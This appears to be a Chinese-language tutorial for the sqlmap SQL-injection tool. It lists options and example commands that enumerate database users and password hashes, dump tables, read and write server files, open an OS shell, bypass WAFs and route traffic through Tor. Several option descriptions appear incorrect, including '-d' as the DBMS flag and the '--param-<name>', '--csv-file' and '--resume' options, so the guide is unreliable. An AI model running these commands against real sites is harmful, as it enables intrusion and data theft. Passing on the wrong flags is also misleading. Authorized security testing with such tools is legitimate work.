sqlmap命令详细使用方法
的有关信息介绍如下:
SQLMap 命令详细使用方法
SQLMap 是一个开源的自动化 SQL 注入和数据库接管工具,用于检测和利用 SQL 注入漏洞。以下是对 SQLMap 命令的详细使用方法介绍:
基本语法
sqlmap -u "<URL>" [options]- -u 或 --url:指定目标 URL。
常用选项
基本探测
- --batch:自动接受所有默认选项,不进行交互提示。
- --level:设置测试级别(1 到 5),级别越高越深入但耗时越长。默认为 1。
- --risk:设置风险等级(1 到 3),等级越高可能尝试的攻击越多。默认为 1。
请求参数
- --param-<name>:指定要测试的参数名,如果 URL 中有多个参数需要测试,可以多次使用该选项。
- --data:在 POST 请求中发送的数据字符串。
- --cookie:HTTP Cookie 头的内容。
- --user-agent:自定义 User-Agent 头。
- --random-agent:使用随机 User-Agent 进行请求。
- --proxy:设置代理服务器地址,格式为 http://host:port 或 socks5://host:port。
数据库管理
- -d 或 --dbms:指定后端数据库类型(如 MySQL、PostgreSQL 等)。
- --current-db:获取当前数据库名称。
- --users:枚举数据库用户。
- --passwords:枚举数据库用户的密码哈希值。
- --hashes:从数据库中提取密码哈希值。
- -D <dbname>:指定要操作的数据库名称。
- -T <tablename>:指定要操作的表名称。
- -C <column>:指定要查询的列名称,多个列用逗号分隔。
- --dump:导出数据库中的数据。
- --dump-all:导出整个数据库的所有数据。
- --tables:枚举数据库中的表。
- --columns:枚举表中的列。
文件操作
- --file-read=<path>:读取并返回服务器上的文件内容。
- --file-write=<local_file>=<remote_file>:将本地文件上传到服务器的指定路径。
- --file-dest=<dir_path>:指定上传文件的远程目录(与 --file-write 配合使用)。
其他高级选项
- --tamper:使用 tamper 脚本来绕过 WAF/IDS 系统。
- --os-shell:尝试获得操作系统的命令行 shell。
- --sql-shell:启动交互式 SQL shell。
- --tor:通过 Tor 网络进行请求。
- --csv-file:指定 CSV 文件以批量处理多个目标。
- --resume:继续上次中断的扫描任务。
示例用法
简单探测
sqlmap -u "http://example.com/vulnerable?id=1" --level=3 --risk=2POST 数据探测
sqlmap -u "http://example.com/vulnerable" --data="id=1&username=admin" --level=5 --risk=3枚举数据库信息
sqlmap -u "http://example.com/vulnerable?id=1" --level=5 --current-db --users --passwords导出数据库数据
sqlmap -u "http://example.com/vulnerable?id=1" -D database_name -T table_name -C column1,column2 --dump绕过 WAF
sqlmap -u "http://example.com/vulnerable?id=1" --tamper=space2comment.py --level=5 --risk=3通过 CSV 文件批量处理
sqlmap --csv-file=targets.csv --level=3 --risk=2
希望这份详细的 SQLMap 使用方法文档能帮助你更好地理解和使用这个强大的 SQL 注入工具。



